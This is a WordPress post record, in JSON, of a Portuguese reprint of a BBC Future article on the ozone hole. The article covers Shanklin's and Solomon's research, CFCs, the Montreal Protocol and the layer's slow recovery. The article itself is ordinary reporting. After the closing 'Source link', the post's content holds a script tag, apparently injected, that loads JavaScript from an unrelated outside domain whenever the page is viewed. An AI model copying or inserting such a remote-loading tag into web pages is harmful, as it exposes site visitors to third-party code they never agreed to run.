{"id":1002,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-aconteceu-com-o-buraco-na-camada-de-ozonio\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"o-que-aconteceu-com-o-buraco-na-camada-de-ozonio","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-aconteceu-com-o-buraco-na-camada-de-ozonio\/","title":{"rendered":"O que aconteceu com o buraco na camada de oz\u00f4nio?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">Nos anos 1990, o buraco na camada de oz\u00f4nio era uma grave crise global. Se tivesse sido ignorada, hoje haveria v\u00e1rios deles sobre a Terra.<\/p>\n<p>No final dos anos 1970, o meteorologista Jonathan Shanklin, do British Antarctic Survey (BAS &#8211; o \u00f3rg\u00e3o brit\u00e2nico de pesquisas na Ant\u00e1rtida), passou boa parte do seu tempo fechado em um escrit\u00f3rio em Cambridge, no Reino Unido, estudando os registros de dados do continente mais ao sul do nosso planeta.<\/p>\n<p>Shanklin era respons\u00e1vel por supervisionar a digitaliza\u00e7\u00e3o dos registros mantidos em papel e computar os valores dos espectrofot\u00f4metros Dobson \u2014 instrumentos em terra que medem as altera\u00e7\u00f5es do n\u00edvel de oz\u00f4nio na atmosfera.<\/p>\n<p>Com o passar dos anos, Shanklin come\u00e7ou a ver que algo estava acontecendo. Ap\u00f3s cerca de duas d\u00e9cadas de medi\u00e7\u00f5es razoavelmente constantes, ele observou que os n\u00edveis de oz\u00f4nio come\u00e7aram a cair no final dos anos 1970.<\/p>\n<p>Mas os chefes de Shanklin inicialmente n\u00e3o tinham a mesma certeza de que havia algo em andamento, o que deixou o meteorologista frustrado.<\/p>\n<p>Em 1984, a camada de oz\u00f4nio sobre a esta\u00e7\u00e3o de pesquisas brit\u00e2nica da Ba\u00eda de Halley, na Ant\u00e1rtida, j\u00e1 havia perdido um ter\u00e7o da sua espessura em compara\u00e7\u00e3o com as d\u00e9cadas anteriores.<\/p>\n<p>No ano seguinte, Shanklin e seus colegas Joe Farman e Brian Gardiner publicaram suas conclus\u00f5es, sugerindo que a redu\u00e7\u00e3o estaria relacionada a um composto produzido pelo homem: os clorofluorcarbonos (CFC), utilizados em aeross\u00f3is e aparelhos de refrigera\u00e7\u00e3o.<\/p>\n<p>Essa descoberta \u2014 a redu\u00e7\u00e3o da camada de oz\u00f4nio sobre a Ant\u00e1rtida \u2014 acabou conhecida como o buraco na camada de oz\u00f4nio.<\/p>\n<p>\u00c0 medida que a not\u00edcia da descoberta se alastrava, um alarme soava em todo o mundo. Proje\u00e7\u00f5es de que a destrui\u00e7\u00e3o da camada de oz\u00f4nio prejudicaria a sa\u00fade dos seres humanos e dos ecossistemas despertaram o medo do p\u00fablico, mobilizaram pesquisas cient\u00edficas e fizeram com que os governos do planeta colaborassem entre si de forma sem precedentes.<\/p>\n<p>Desde o seu apogeu nos notici\u00e1rios, a hist\u00f3ria de um dos problemas ambientais mais graves j\u00e1 enfrentados pela humanidade perdeu grande parte da aten\u00e7\u00e3o do p\u00fablico.<\/p>\n<p>Mas, afinal, mais de 30 anos ap\u00f3s a sua descoberta, o que aconteceu com o buraco na camada de oz\u00f4nio?<\/p>\n<h3>Fen\u00f4meno vital<\/h3>\n<p>O oz\u00f4nio \u00e9 principalmente encontrado na estratosfera, que \u00e9 uma camada da atmosfera localizada entre 10 e 50 km acima da superf\u00edcie da Terra.<\/p>\n<p>Essa camada de oz\u00f4nio forma um escudo protetor invis\u00edvel sobre o planeta, absorvendo a perigosa radia\u00e7\u00e3o ultravioleta do Sol. Sem ela, a vida na Terra n\u00e3o seria poss\u00edvel.<\/p>\n<p>O BAS come\u00e7ou a medir as concentra\u00e7\u00f5es de oz\u00f4nio sobre a Ant\u00e1rtida nos anos 1950. Mas v\u00e1rias d\u00e9cadas se passaram at\u00e9 se demonstrar que havia um problema.<\/p>\n<p>Em 1974, dois cientistas \u2014 o mexicano Mario Molina e o americano F. Sherry Rowland \u2014 publicaram sua teoria de que os CFCs poderiam destruir o oz\u00f4nio da estratosfera terrestre.<\/p>\n<p>Acreditava-se at\u00e9 ent\u00e3o que os CFCs fossem inofensivos, mas Molina e Rowland indicaram que essa premissa estava errada.<\/p>\n<p>Suas descobertas foram atacadas pelas ind\u00fastrias, que insistiam que seus produtos eram seguros. E, entre os cientistas, a pesquisa tamb\u00e9m foi contestada.<\/p>\n<p>Proje\u00e7\u00f5es indicavam que o esgotamento do oz\u00f4nio seria pequeno (2 a 4%) e muitos acreditavam que aconteceria ao longo de s\u00e9culos.<\/p>\n<p>Os CFCs continuavam sendo usados sem controle e, na d\u00e9cada de 1970, eles j\u00e1 estavam presentes em todo o mundo, sendo empregados para a refrigera\u00e7\u00e3o de geladeiras e aparelhos de ar-condicionado, em latas de aerossol e como agentes de limpeza industrial.<\/p>\n<p>Apenas uma d\u00e9cada depois, em 1985, o BAS confirmou que havia um buraco na camada de oz\u00f4nio e sugeriu sua rela\u00e7\u00e3o com os CFCs, em refer\u00eancia ao estudo de Molina e Rowland, que acabaram por receber o Pr\u00eamio Nobel de Qu\u00edmica de 1995.<\/p>\n<p>E, ainda pior, o oz\u00f4nio estava se esgotando com muito mais rapidez do que havia sido previsto. &#8220;Foi realmente muito assustador&#8221;, relembra Shanklin, que hoje \u00e9 membro honor\u00e1rio do BAS.<\/p>\n<p>Foi a partir dali que os cientistas correram para descobrir como e por que isso estava acontecendo.<\/p>\n<h3>Mist\u00e9rio da qu\u00edmica<\/h3>\n<p>Em 1986, perto do fim do inverno na Ant\u00e1rtida, Susan Solomon, pesquisadora da Administra\u00e7\u00e3o Nacional Oce\u00e2nica e Atmosf\u00e9rica do governo dos Estados Unidos (NOAA, na sigla em ingl\u00eas), liderou uma equipe de cientistas para a base americana McMurdo, na Ant\u00e1rtida, em busca de respostas.<\/p>\n<p>Na \u00e9poca, os cientistas estavam debatendo poss\u00edveis teorias, uma das quais foi proposta por Solomon: que a resposta poderia estar na qu\u00edmica da superf\u00edcie, relacionada ao cloro nas nuvens estratosf\u00e9ricas polares, presentes em altas latitudes, mas que se formam apenas com temperaturas muito baixas no inverno polar.<\/p>\n<p>&#8220;Era um grande mist\u00e9rio&#8221;, segundo Solomon, que agora \u00e9 professora de qu\u00edmica atmosf\u00e9rica e ci\u00eancias do clima do Instituto de Tecnologia de Massachusetts (MIT, na sigla em ingl\u00eas). Suas pesquisas explicaram como e por que ocorre o buraco na camada de oz\u00f4nio na Ant\u00e1rtida.<\/p>\n<p>&#8220;Todos os dados indicaram a combina\u00e7\u00e3o entre o aumento do cloro proveniente do uso dos CFCs pelos seres humanos e a presen\u00e7a de nuvens estratosf\u00e9ricas polares como respons\u00e1vel pelo que estava acontecendo&#8221;, segundo ela.<\/p>\n<p>O monitoramento por sat\u00e9lites confirmou que o esgotamento do oz\u00f4nio se estendia por uma vasta regi\u00e3o de 20 milh\u00f5es de quil\u00f4metros quadrados.<\/p>\n<p>A s\u00e9ria amea\u00e7a representada pelo esgotamento do oz\u00f4nio inclu\u00eda o aumento da incid\u00eancia de <a href=\"https:\/\/uol.com.br\/vivabem\/noticias\/redacao\/2018\/09\/18\/cancer-de-pele-pintas-que-mudam-de-cor-tamanho-e-formato-sao-alerta.htm\">c\u00e2ncer de pele<\/a> e da catarata em seres humanos, danos ao crescimento vegetal, \u00e0 produ\u00e7\u00e3o agr\u00edcola e aos animais, al\u00e9m de problemas na reprodu\u00e7\u00e3o de peixes, caranguejos, sapos e do fitopl\u00e2ncton, que \u00e9 a base da cadeia alimentar marinha. Tudo isso impulsionou a\u00e7\u00f5es e a colabora\u00e7\u00e3o internacional.<\/p>\n<p>Mas, considerando a gravidade da amea\u00e7a do buraco de oz\u00f4nio, por que n\u00e3o ouvimos mais falar tanto desse tema?<\/p>\n<p>&#8220;Ele n\u00e3o \u00e9 mais a mesma causa de alarme que foi um dia&#8221;, afirma Laura Revell, professora de f\u00edsica ambiental da Universidade de Canterbury, na Nova Zel\u00e2ndia. Isso se deve, em grande parte, \u00e0s medidas internacionais sem precedentes tomadas pelos governos para lidar com o problema.<\/p>\n<h3>O lento caminho at\u00e9 Montreal<\/h3>\n<p>Imaginando que o esgotamento do oz\u00f4nio seria pequeno e somente ocorreria em um futuro distante, a abordagem inicial dos legisladores internacionais para proteger a camada de oz\u00f4nio foi cautelosa.<\/p>\n<p>Em 1977, foi adotado um plano de a\u00e7\u00e3o global, que convocava o monitoramento do oz\u00f4nio e da radia\u00e7\u00e3o solar, pesquisas sobre o efeito do esgotamento do oz\u00f4nio sobre a sa\u00fade humana, os ecossistemas e o clima, e uma avalia\u00e7\u00e3o do custo-benef\u00edcio das medidas de controle.<\/p>\n<p>Esse plano levou \u00e0 realiza\u00e7\u00e3o da Conven\u00e7\u00e3o de Viena de 1985, poucos meses antes da descoberta do buraco na camada de oz\u00f4nio pelos cientistas brit\u00e2nicos.<\/p>\n<p>A conven\u00e7\u00e3o pediu o aumento das pesquisas, mas n\u00e3o incluiu controles que obrigassem legalmente os pa\u00edses a reduzir o uso dos CFCs, o que frustrou muitas expectativas.<\/p>\n<p>Ap\u00f3s a descoberta do buraco na camada de oz\u00f4nio, grandes investimentos em pesquisas cient\u00edficas, a aloca\u00e7\u00e3o de recursos econ\u00f4micos e a\u00e7\u00f5es pol\u00edticas internacionais coordenadas ajudaram a mudar o panorama.<\/p>\n<p>At\u00e9 que, em 1987, foi adotado o Protocolo de Montreal para proteger a camada de oz\u00f4nio, eliminando o uso das subst\u00e2ncias que causam seu esgotamento.<\/p>\n<p>Para possibilitar que fosse cumprido, o tratado estabeleceu &#8220;responsabilidades comuns, mas diferenciadas&#8221;, escalonando cronogramas de redu\u00e7\u00e3o de consumo para os pa\u00edses desenvolvidos e em desenvolvimento.<\/p>\n<p>Ele tamb\u00e9m estabeleceu um fundo multilateral para fornecer assist\u00eancia t\u00e9cnica e financeira, a fim de ajudar os pa\u00edses em desenvolvimento a cumprir com as suas obriga\u00e7\u00f5es.<\/p>\n<p>Ao longo dos anos 1990 e no in\u00edcio dos anos 2000, a produ\u00e7\u00e3o e o consumo de CFCs foram suspensos &#8211; e, at\u00e9 2009, 98% das subst\u00e2ncias definidas no tratado haviam sido eliminadas.<\/p>\n<p>O tratado permitiu ainda a elabora\u00e7\u00e3o de emendas quando evid\u00eancias cient\u00edficas demonstrassem que novas a\u00e7\u00f5es seriam necess\u00e1rias.<\/p>\n<p>Assim, seis emendas trouxeram restri\u00e7\u00f5es ainda maiores sobre subst\u00e2ncias introduzidas para substituir os CFCs, como os hidroclorofluorcarbonos (HCFCs) e os hidrofluorcarbonos (HFCs).<\/p>\n<p>Embora sejam favor\u00e1veis para a camada de oz\u00f4nio, descobriu-se que esses substitutos prejudicam o clima. O potencial de aquecimento global do HCFC mais comum, por exemplo, \u00e9 quase duas mil vezes maior que o do di\u00f3xido de carbono.<\/p>\n<p>Outro efeito positivo do tratado foram seus benef\u00edcios para o clima. Em 2010, a redu\u00e7\u00e3o das emiss\u00f5es proporcionada pelo Protocolo de Montreal foi equivalente a 9,7 at\u00e9 12,5 gigatoneladas de CO2 &#8211; cerca de cinco a seis vezes mais que o objetivo do Protocolo de Kyoto, assinado em 1997 para reduzir as emiss\u00f5es de gases do efeito estufa.<\/p>\n<p>Somente a Emenda de Kigali, adotada em 2016 para limitar o uso de HFCs, ajudar\u00e1 a conter o aquecimento global em at\u00e9 0,5 \u00b0C at\u00e9 2100.<\/p>\n<p>&#8220;\u00c9 poss\u00edvel argumentar que [o Protocolo de Montreal] \u00e9 uma legisla\u00e7\u00e3o de prote\u00e7\u00e3o clim\u00e1tica muito mais bem sucedida que qualquer outro acordo [sobre o clima] que j\u00e1 fizemos at\u00e9 hoje&#8221;, afirma Revell.<\/p>\n<h3>O sucesso do Protocolo<\/h3>\n<p>Desde a sua ado\u00e7\u00e3o, o Protocolo de Montreal foi assinado por todos os pa\u00edses do planeta. At\u00e9 hoje, ele \u00e9 o \u00fanico tratado ratificado universalmente, sendo considerado um triunfo da coopera\u00e7\u00e3o ambiental internacional.<\/p>\n<p>Modelos indicam que o Protocolo de Montreal e suas emendas ajudaram a evitar at\u00e9 dois milh\u00f5es de casos de c\u00e2ncer de pele por ano e milh\u00f5es de casos de catarata em todo o mundo.<\/p>\n<p>Se o mundo n\u00e3o tivesse proibido os CFCs, estar\u00edamos agora perto do esgotamento maci\u00e7o da camada de oz\u00f4nio.<\/p>\n<p>&#8220;Existe o consenso de que, em 2050, ter\u00edamos condi\u00e7\u00f5es similares ao buraco na camada de oz\u00f4nio em todo o planeta, que se tornaria inabit\u00e1vel&#8221;, afirma Susan Solomon.<\/p>\n<p>Ela aponta tr\u00eas fatores que causaram as a\u00e7\u00f5es imediatas para enfrentar a quest\u00e3o: para muitas pessoas, o risco claro e presente apresentado pelo buraco na camada de oz\u00f4nio para a sa\u00fade humana tornou-se algo pessoal; imagens n\u00edtidas de sat\u00e9lites fizeram com que ele se tornasse percept\u00edvel; e havia solu\u00e7\u00f5es pr\u00e1ticas para o problema, j\u00e1 que as subst\u00e2ncias prejudiciais para a camada de oz\u00f4nio poderiam ser substitu\u00eddas de forma razoavelmente r\u00e1pida e f\u00e1cil.<\/p>\n<h3>A recupera\u00e7\u00e3o \u00e9 longa<\/h3>\n<p>Atualmente, o buraco na camada de oz\u00f4nio ainda existe. Ele se forma todos os anos sobre a Ant\u00e1rtida, durante a primavera, e se fecha novamente no ver\u00e3o, quando o ar estratosf\u00e9rico das latitudes mais baixas se mistura, permanecendo assim at\u00e9 a primavera seguinte, quando o ciclo recome\u00e7a.<\/p>\n<p>Mas existem evid\u00eancias de que o buraco est\u00e1 come\u00e7ando a desaparecer, recuperando-se mais ou menos conforme o esperado, segundo Solomon. Avalia\u00e7\u00f5es cient\u00edficas indicam que a camada de oz\u00f4nio deve retornar aos n\u00edveis anteriores a 1980 em meados do s\u00e9culo 21.<\/p>\n<p>A recupera\u00e7\u00e3o \u00e9 lenta devido ao longo tempo de vida das mol\u00e9culas prejudiciais \u00e0 camada de oz\u00f4nio. Algumas delas persistem na atmosfera por 50 a 150 anos antes de se degradarem.<\/p>\n<p>Apesar do sucesso geral do Protocolo de Montreal, tamb\u00e9m houve retrocessos. Em 2018, por exemplo, percebeu-se que a concentra\u00e7\u00e3o de CFC-11, proibido desde 2010, n\u00e3o estava caindo com a rapidez esperada. Isso indicava que emiss\u00f5es n\u00e3o declaradas estavam vindo de algum lugar.<\/p>\n<p>A ONG Environmental Investigation Agency rastreou as emiss\u00f5es at\u00e9 f\u00e1bricas na China, que estavam produzindo CFC-11 para uso em espuma de isolamento.<\/p>\n<p>Assim que a informa\u00e7\u00e3o veio a p\u00fablico, o governo chin\u00eas rapidamente impediu a produ\u00e7\u00e3o e os cientistas afirmam que agora voltamos aos trilhos.<\/p>\n<p>Para Jonathan Shanklin, isso ressalta a import\u00e2ncia vital do monitoramento de longo prazo das vari\u00e1veis ambientais, incluindo CFCs, temperaturas ou indicadores da biodiversidade.<\/p>\n<p>&#8220;Se n\u00e3o monitorarmos, n\u00e3o saberemos se temos ou n\u00e3o um problema &#8211; e, quando voc\u00ea n\u00e3o sabe que h\u00e1 um problema, n\u00e3o pode tomar a\u00e7\u00f5es preventivas. Acho que esta \u00e9 uma parte vital dessa hist\u00f3ria&#8221;, afirma ele.<\/p>\n<h3>E quanto ao futuro?<\/h3>\n<p>O futuro apresenta riscos. Grandes erup\u00e7\u00f5es vulc\u00e2nicas tipicamente resultam em perdas de oz\u00f4nio de curto prazo e o \u00f3xido nitroso \u2014 um potente g\u00e1s do efeito estufa, emitido pelas aplica\u00e7\u00f5es de fertilizantes na agricultura \u2014 \u00e9 outra subst\u00e2ncia potente que \u00e9 prejudicial para a camada de oz\u00f4nio. Mas Laura Revell destaca que ele n\u00e3o \u00e9 controlado pelo Protocolo de Montreal e suas emiss\u00f5es est\u00e3o crescendo.<\/p>\n<p>Existem tamb\u00e9m atividades cujo impacto ainda n\u00e3o entendemos completamente, mas que poder\u00e3o representar riscos, como os lan\u00e7amentos de foguetes e a geoengenharia de sulfatos \u2014 a ideia de que poder\u00edamos combater os piores efeitos do aquecimento global bombeando aeross\u00f3is para a estratosfera para resfriar o clima, fazendo com que a luz solar seja refletida por essas part\u00edculas de aerossol.<\/p>\n<p>&#8220;\u00c9 muito importante ter em mente as li\u00e7\u00f5es aprendidas com a hist\u00f3ria do buraco na camada de oz\u00f4nio e garantir que estejamos constantemente conscientes do que est\u00e1 acontecendo na estratosfera&#8221;, afirma Revell.<\/p>\n<p>&#8220;O risco \u00e9 que podemos causar danos imprevistos \u00e0 camada de oz\u00f4nio se essas avalia\u00e7\u00f5es n\u00e3o forem conduzidas com anteced\u00eancia.&#8221;<\/p>\n<p>Existe a tend\u00eancia de comparar a camada de oz\u00f4nio com as mudan\u00e7as clim\u00e1ticas. Embora o Protocolo de Montreal realmente demonstre que podemos combater grandes problemas ambientais, a compara\u00e7\u00e3o s\u00f3 vai at\u00e9 a\u00ed.<\/p>\n<p>Os CFCs eram um componente de poucos produtos e podia ser substitu\u00eddo. O escopo das mudan\u00e7as clim\u00e1ticas torna seu combate muito mais dif\u00edcil: os <a href=\"https:\/\/www.uol.com.br\/carros\/faq\/combustiveis-como-escolher-descobrir-problemas-e-mais.htm\">combust\u00edveis<\/a> f\u00f3sseis est\u00e3o presentes em todo o nosso estilo de vida, de forma generalizada, n\u00e3o podem ser substitu\u00eddos com a mesma facilidade e a maioria dos governos e das ind\u00fastrias, at\u00e9 agora, vem resistindo \u00e0 redu\u00e7\u00e3o das emiss\u00f5es causadas pelos combust\u00edveis f\u00f3sseis.<\/p>\n<p>Para Jonathan Shanklin, \u00e9 triste ficar onde estamos, estagnados nas a\u00e7\u00f5es sobre o clima, ainda falando sobre o que poderemos fazer quando existe um exemplo t\u00e3o claro para nos ensinar.<\/p>\n<p>&#8220;A cria\u00e7\u00e3o do buraco na camada de oz\u00f4nio mostrou a rapidez com que podemos mudar nosso ambiente planet\u00e1rio para pior e o fato \u00e9 que essa li\u00e7\u00e3o n\u00e3o est\u00e1 sendo levada suficientemente a s\u00e9rio pelos pol\u00edticos&#8221;, afirma Shanklin.<\/p>\n<p>&#8220;\u00c9 verdade que as mudan\u00e7as clim\u00e1ticas s\u00e3o um problema maior. Mas isso n\u00e3o exime os pol\u00edticos da responsabilidade por tomar as decis\u00f5es necess\u00e1rias.&#8221;<\/p>\n<p>Leia a \u00edntegra <a href=\"https:\/\/www.bbc.com\/future\/article\/20220321-what-happened-to-the-worlds-ozone-hole?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">desta reportagem (em ingl\u00eas)<\/a> no site <a href=\"https:\/\/www.bbc.com\/future?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">BBC Future<\/a>.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/05\/16\/o-que-aconteceu-com-o-buraco-na-camada-de-ozonio.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nos anos 1990, o buraco na camada de oz\u00f4nio era uma grave crise global. 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